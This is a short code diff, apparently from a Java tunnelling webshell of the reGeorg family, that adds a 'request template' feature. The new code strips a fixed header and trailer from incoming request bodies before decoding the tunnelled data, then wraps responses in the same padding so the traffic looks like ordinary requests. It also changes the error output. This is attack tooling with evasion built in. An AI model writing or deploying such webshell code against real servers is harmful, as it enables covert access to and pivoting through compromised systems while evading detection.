@@ -35,6 +35,10 @@ public boolean equals(Object obj) {
35
35
String GeorgHello = (String ) args [7 ];
36
36
int BLV_L_OFFSET = (Integer ) args [8 ];
37
37
38
+ int USE_REQUEST_TEMPLATE = (Integer ) args [9 ];
39
+ int START_INDEX = (Integer ) args [10 ];
40
+ int END_INDEX = (Integer ) args [11 ];
41
+
38
42
int DATA = 1 ;
39
43
int CMD = 2 ;
40
44
int MARK = 3 ;
@@ -50,6 +54,8 @@ public boolean equals(Object obj) {
50
54
51
55
Object [] info = new Object [40 ];
52
56
Object [] rinfo = new Object [40 ];
57
+ String requestDataHead = "" ;
58
+ String requestDataTail = "" ;
53
59
try {
54
60
if (((int )(Integer )(invokeMethod (request , "getContentLength" , new Object [0 ]))) != -1 ) {
55
61
String inputData = "" ;
@@ -63,11 +69,19 @@ public boolean equals(Object obj) {
63
69
break ;
64
70
inputData += new String (buff );
65
71
}
72
+ if (USE_REQUEST_TEMPLATE == 1 ) {
73
+ requestDataHead = inputData .substring (0 , START_INDEX );
74
+ requestDataTail = inputData .substring (inputData .length () - END_INDEX , inputData .length ());
75
+
76
+ inputData = inputData .substring (START_INDEX );
77
+ inputData = inputData .substring (0 , inputData .length () - END_INDEX );
78
+ }
66
79
byte [] data = b64de (inputData );
67
80
info = blv_decode (data , BLV_L_OFFSET );
68
81
}
69
82
} catch ( Exception e ) {
70
- out .write (new String (b64de (GeorgHello )));
83
+ // out.write(new String(b64de(GeorgHello)));
84
+ out .write (e .toString ());
71
85
out .flush ();
72
86
out .close ();
73
87
return false ; // exit
@@ -114,7 +128,7 @@ public boolean equals(Object obj) {
114
128
return false ;
115
129
}
116
130
117
- String newData = b64en (blv_encode (info , BLV_L_OFFSET ));
131
+ String newData = requestDataHead + b64en (blv_encode (info , BLV_L_OFFSET )) + requestDataTail ;
118
132
byte [] data = newData .getBytes ();
119
133
output .write (data , 0 , data .length );
120
134
output .flush ();
0 commit comments